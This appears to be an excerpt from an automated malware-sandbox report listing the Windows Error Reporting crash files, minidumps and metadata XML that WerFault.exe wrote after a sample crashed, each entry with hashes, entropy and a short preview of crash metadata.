C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_9fa327eb6c.exe_4989181adf3d1e0c32470a268396c5d8c8829f2_edf01a57_555010e2-04ae-4347-8f51-8406f158f572\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9635674509601847
Encrypted:	false
SSDEEP:	192:MgBmMohF+0AwsFNjldZrP2azuiFFZ24IO8y:RBmLhFlAwsFNj19zuiFFY4IO8y
MD5:	EEBDB75B46DF2DC0E76B831FCBBD7D82
SHA1:	40E66335B217AA62A5364EB6B640CF4DF2EA0FDB
SHA-256:	EE85DEA6B559D57E32B9543AF3AF021EC92EC46718FF832B9087C4CEE2C429EC
SHA-512:	0A3243382F719877D4FBAC5617A427E9950B509141041C8990D5D0AC9813809B1DBED68AC87F2298B367DA5D7AE67ED894C9F3B1F91D747C7B7C46DEAB5236AE
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.5.4.8.1.3.9.9.2.0.8.4.6.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.5.4.8.1.4.0.4.3.6.4.7.2.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.5.5.0.1.0.e.2.-.0.4.a.e.-.4.3.4.7.-.8.f.5.1.-.8.4.0.6.f.1.5.8.f.5.7.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.b.b.8.a.5.b.c.-.f.6.7.6.-.4.d.a.4.-.9.e.4.e.-.4.0.d.2.5.b.2.1.7.e.d.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.9.f.a.3.2.7.e.b.6.c...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.2.8.8.-.0.0.0.1.-.0.0.1.4.-.d.e.5.c.-.d.a.0.f.0.c.e.0.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.3.d.3.0.0.7.9.f.7.e.b.0.0.b.5.7.4.c.f.4.8.a.c.5.0.2.d.6.4.e.c.0.0.0.0.f.f.f.f.!.0.0.0.0.3.b.1.d.c.2.3.a.3.d.b.6.6.c.a.9.f.9.8.7.4.2.f.3.7.9.f.d.e.8.4.9.a.1.0.3.9.a.6.7.!.9.f.a.3.2.7.e.b.6.c...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_9fa327eb6c.exe_4989181adf3d1e0c32470a268396c5d8c8829f2_edf01a57_eb609ebf-a46c-4b21-b757-60c1c8ffd909\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9638108324364466
Encrypted:	false
SSDEEP:	192:7PtmDhF+0AwsFNjldZrP2azuiFFZ24IO8y:RmDhFlAwsFNj19zuiFFY4IO8y
MD5:	B18718031DF942F31EA067A70182BD37
SHA1:	D32F4384FBCEA7246FD5ADCC54C513F075F8DC7E
SHA-256:	68062621960D55D07A1C909E8C0AAE1E247A16D6463D785FB14FF422790A34B6
SHA-512:	6628460480FAEF2517317B3AFBCAD0BF27528905874091564242803BC388D9EDC170B3D4E11A86E1494C6369C9E706C3246E6B98FFBD6DBE6707E55C639FA513
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.5.4.8.1.5.6.6.6.8.9.7.2.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.5.4.8.1.5.7.1.2.2.0.5.2.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.b.6.0.9.e.b.f.-.a.4.6.c.-.4.b.2.1.-.b.7.5.7.-.6.0.c.1.c.8.f.f.d.9.0.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.1.1.a.7.6.4.9.-.b.b.5.6.-.4.6.3.b.-.a.0.e.5.-.6.f.2.2.3.e.b.f.6.3.e.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.9.f.a.3.2.7.e.b.6.c...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.4.3.0.-.0.0.0.1.-.0.0.1.4.-.1.9.1.f.-.7.e.1.9.0.c.e.0.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.3.d.3.0.0.7.9.f.7.e.b.0.0.b.5.7.4.c.f.4.8.a.c.5.0.2.d.6.4.e.c.0.0.0.0.f.f.f.f.!.0.0.0.0.3.b.1.d.c.2.3.a.3.d.b.6.6.c.a.9.f.9.8.7.4.2.f.3.7.9.f.d.e.8.4.9.a.1.0.3.9.a.6.7.!.9.f.a.3.2.7.e.b.6.c...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_4e41abbb74886152b6742da3591b45a7624070_864df792_8b3b7b8c-6914-4035-a91c-8ed313a4e407\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1158295359662944
Encrypted:	false
SSDEEP:	192:zdB1JHHGhvrPlTt+0tEqmE3jEhZrMZ2985zuiFqZ24IO8ThB:zzDn2rN5ltEq5jbMQzuiFqY4IO8r
MD5:	4F83CB04AE14B204424C2D4D028683B5
SHA1:	392C82AECA6C7A1EDF713A725DE73B23DC821C68
SHA-256:	A887BD1BBB706DD23119E68C23267C5B438FF2888CB55E3EEAD04DB3ED5A8654
SHA-512:	FFEEE4A77376983B287538B142BD95D88A0A14BF132E9CED15E3B0BBB6E887BB7309F352027AB1845CA27A6DC1CDD6144877CF842015A71E1BB71597F0465DF9
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.5.4.8.0.8.5.4.5.1.5.7.1.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.5.4.8.0.8.6.1.3.9.0.6.8.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.b.3.b.7.b.8.c.-.6.9.1.4.-.4.0.3.5.-.a.9.1.c.-.8.e.d.3.1.3.a.4.e.4.0.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.6.0.1.6.a.a.9.-.9.0.7.0.-.4.b.c.0.-.a.9.9.9.-.9.8.4.1.7.5.a.5.3.1.2.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.4.0.-.0.0.0.1.-.0.0.1.4.-.4.8.1.c.-.b.3.e.3.0.b.e.0.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.e.4.9.2.d.7.6.8.e.7.9.7.3.1.6.2.4.b.c.d.f.2.e.7.6.1.5.f.9.1.8.0.0.0.0.f.f.f.f.!.0.0.0.0.3.b.1.d.c.2.3.a.3.d.b.6.6.c.a.9.f.9.8.7.4.2.f.3.7.9.f.d.e.8.4.9.a.1.0.3.9.a.6.7.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.7.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2B0C.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Jul 27 10:02:07 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	63684
Entropy (8bit):	1.9276552307235828
Encrypted:	false
SSDEEP:	192:c3mXijcdJC4GX5sKOkOJwhC0o2nUEYDoYbUIH/la/zcpRdjoNsgkbRnXL7xcrEOK:+cdJzAOkEmC0o2UqzcB7gkbDkFojiLc
MD5:	D5AC8170D97CD17C8E72202A063D1730
SHA1:	FC81EAAD21B5CC6D6088B0BFDC7D4E434B9BFAB4
SHA-256:	33DD1569984BD8E0450B3EA53E579D38EC1E6BE9EEB8A73EEEB90BD8AF23EB67
SHA-512:	D8467C9882AFB03BDB99533D6A1531052E24B9A9BA5AEBAC600089FC52AB2DF3AC1DAA4714480F057B194314365B1B4EACA3A4E91EFF001F9E89CA1064DE87C4
Malicious:	false
Preview:	MDMP..a..... .........f............4...............<............*..........T.......8...........T............3..........................................................................................................eJ......H.......GenuineIntel............T....... .....f.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2BE7.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8322
Entropy (8bit):	3.692761143173718
Encrypted:	false
SSDEEP:	192:R6l7wVeJTM6Bd5F6YO265UCnULgmfOLMidpDv89bKb7sfDkjm:R6lXJ46BrF6Yv653nQgmfOLMioKbAfw6
MD5:	2559306C2710E7D309742E101F9975EB
SHA1:	9D0FF5201912EC4A2F34D29B491FD3DE784364E3
SHA-256:	EC514E3DE29A09A4D8FA4048B8E805F6CFD07624A1B64452DE99F97B7FA2B813
SHA-512:	F8D5FC8C073089FD0D949074D5814053951CD563938B3CFA1767AF8DD9B2F496F402B6A508DAFF11CC4A99104CE7C553E2F054C3FB6EBD8837A0C5CA3AA3BF22
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.9.6.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2C17.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.437429108110559
Encrypted:	false
SSDEEP:	48:cvIwWl8zsGBJg77aI9pOWpW8VYWYm8M4JCGyF9+q8bgpzuB5rd:uIjfgI7/v7VqJLySQzuB5rd
MD5:	AE23A190FB4F88AE860DABE0C65FF7BE
SHA1:	DA9FB3A3AFFB9BF17F27AEA75D330F0B2419C2A6
SHA-256:	25B8AA02799F3B80C84EA2BCA5273AAD79BAD5F32C3DA855741186732F89C29A
SHA-512:	02D3E1D2910CACEA5CFD6EA4A2E42E097C0F5EB108EE6209EEA242E74ADBE90C0CE634D91CBE35EFBE4D99ABC6C0B60D70E4B394CA69CE1ABFED63B876CE0515
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="429184" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5BE0.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Jul 27 10:02:20 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	63614
Entropy (8bit):	1.9217941081486938
Encrypted:	false
SSDEEP:	384:Jzh0D0vwEzAyIj4k6zdq82eiR7RDaJaVv:JV0IvwERxk6zda1aYN
MD5:	2B42655D4A3C6B2DA69A532BC96484D2
SHA1:	9B73C5E4DADFDDD359D6379B259E41CB157BFCBE
SHA-256:	35544BE527C4724D95346EDF9230AB7465EDF1DAA2FE0B420DA7AC21D47631F4
SHA-512:	1673999A9D152B0F095DE0AE43D98A43D2FDE60AE952BA535B13038805C5E088D0A643969326E5344A82C1E7B84659CCC610E238DF417474C88BDAD8F6C215B6
Malicious:	false
Preview:	MDMP..a..... .........f............4...............<...........0*..........T.......8...........T............2..............X...........D...............................................................................eJ..............GenuineIntel............T.............f............................. ..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5C4E.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8338
Entropy (8bit):	3.692753628222557
Encrypted:	false
SSDEEP:	192:R6l7wVeJQO6pxM/6YEIrSUPgmfOLMidpDw89btEsfmvm:R6lXJ56pxM/6YEkSUPgmfOLMiVt3fP
MD5:	F70C318249DBECDCE0E3C1AD7AB089E5
SHA1:	7CC01578BC7429A7C93547476B3872637E277120
SHA-256:	297CB750F3B35E18DD84C33D5701F73FA1F837489571C1422580D59613DEE0A3
SHA-512:	173D63C701F420FAC9D9F13D10444302E687A4583FF1AE8EE86D3D3ACBE5B1BA750EE2B47F402E124D2209CA9213FA48BE14FE27DD5BD52A5B5538C1BF8F2856
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.7.4.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5C6E.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.436083258130895
Encrypted:	false
SSDEEP:	48:cvIwWl8zsGqJg77aI9pOWpW8VYZYm8M4JCGyFaf+q8bgwUzuB5DwMdd:uIjfbI7/v7VtJL9SGzuB5Ldd
MD5:	72479C57E3E48160F72149C8405F28F0
SHA1:	1F1C7B45EB81EE710D781D0986284CB1F148F711
SHA-256:	5710975AE7C0432B937854AB3BF12D4FA229B2469406815D1747909DF2BA88D0
SHA-512:	C1DAF7193C9C8F4CC0F7E311D7BC938EAB2F2768ED09B65E89D6F0AD0D47E596001666A2669EA2C6BE454E55F5C0A174756808838EA929FEADFB79AF845B4E70
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="429185" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER870B.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Jul 27 10:01:25 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	60350
Entropy (8bit):	2.6458103872412235
Encrypted:	false
SSDEEP:	384:vrm4ZkUajkEyfH9GXNNEHyH+FJ7zWXsc:vq4dajkEe9GXX0OYJ7Sc
MD5:	D6A42C1455E0A1B197B0AAB6123E7228
SHA1:	B0E94FEF4D813CB650EFC6C208C9A747122375CF
SHA-256:	05C51D5E134B699D0F32742897ABC3D300B8FE55075F884ECD3FF57B00ECABBC
SHA-512:	5A38D7ECAE4B1DF3E23C59ABC699B24DE2D4AD83B66C57E02B2BDEBAAC5B200CE0478D62E5017873E61D7B9E410DE3ADC6AA319FD7DA971BDCE080332052B784
Malicious:	false
Preview:	MDMP..a..... .......u.f............4...............<............7..........T.......8...........T............_..6............&...........(..............................................................................eJ......h)......GenuineIntel............T.......@..._.f.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8874.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8312
Entropy (8bit):	3.6905264172386434
Encrypted:	false
SSDEEP:	192:R6l7wVeJRCR646YEI/SU9ZzgmfB1SpidpDO89bjMsflFhm:R6lXJq646YEwSU9Zzgmf+pifjfflK
MD5:	7480F01F4D24E4518582A7EE57D78FC9
SHA1:	FA47EF9B9D71131F30CD9C6985EB7AB9B1B02DE3
SHA-256:	FE155C4974F93E7300BFA99F7830A95ECF3F926FB8B21C650ED7A731C95F0580
SHA-512:	A7449CE8560DAB1A573E0DCB4BEB5EFCD131006BF7900CF7078D79CEE22BD3BF82EA4AD5FE7AB2D6ACD6B2135126623FCDCED81C7CDB3E6388A6CAEC14B76C3F
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.2.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER88C3.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4537
Entropy (8bit):	4.417023130777032
Encrypted:	false
SSDEEP:	48:cvIwWl8zsGBJg77aI9pOWpW8VYU0Ym8M4JWcyFuY8I+q8jg282FduBPLd:uIjfgI7/v7V5BJFTBIiZ82FduBPLd
MD5:	6F37B0A202568F827CE51CCAACEDF8FC
SHA1:	0E2E69401B72AC486A34EEA9E236921D2E2CAFD4
SHA-256:	AF1C5BA79BCBCCAD036A5395256BD8396D559D0E5F5B3F54F01FC81AF0BE1AE5
SHA-512:	A22B9AE70C0B67A6ACE4D7F6D7B059ADD86CDA7F607E8442E4B294CB945B2185C19D2E94EB60221F298EB0EBF4C8BBE84DE4BF029D5F8E016C63756AF4814E75
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="429184" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9D6D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Jul 27 10:02:36 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	63670
Entropy (8bit):	1.9100755227675885
Encrypted:	false
SSDEEP:	192:D1kXiZh0MiY7XEvOwOJw8JrOQhYDoYSH/lLzlWNIHQgNlNOEjObkBclUsRxjfBZ:p5h0pmwEXJrPXzldBlpKbeWbr
MD5:	8A16959AF50F726712291BE6D54FCB63
SHA1:	A322BDD0F67559E117BC44B3FAA5C95EFD8DCC81
SHA-256:	88550BDC14C6BF1DD233F770366FF0069E08B37C348DB70EE7CCD2FDCFA90F4A
SHA-512:	6BE0B7C07529D61E51C7C59B4ADE40362855AE8A76278F26157A75FBDCF8609FEB88CBB98CDF4C3A9125C6419902CCF52847A7BC2D8306ECB95682C2BFB8BD5D
Malicious:	false
Preview:	MDMP..a..... .........f............4...............<...........0*..........T.......8...........T............2..............X...........D...............................................................................eJ..............GenuineIntel............T.......0.....f............................. ..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9E0A.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8338
Entropy (8bit):	3.6937054609204574
Encrypted:	false
SSDEEP:	192:R6l7wVeJJa6UwGcc16YEIySUQ5GgmfOLMidpDB89bKosfjvOm:R6lXJk6U3cc16YE9SUHgmfOLMimKbf7
MD5:	B6B8A516BB4C16B5B99E78AE2C3F3FCD
SHA1:	62EE6C6DFA9F8C699901B308E6265AE4959219B2
SHA-256:	3B45DF3513CC5178933B8EB4D9D304781390F32AE8DD2B31550B4D763457B441
SHA-512:	A7B4126E1A336A677B294377888CA01A0AE53EB0655DFCE72EBB23926B9496C336E547A36CE555A69A8DC1DB8FD505A31C1EDFB2B07D4636213F3383DA764FB4
Malicious:	false
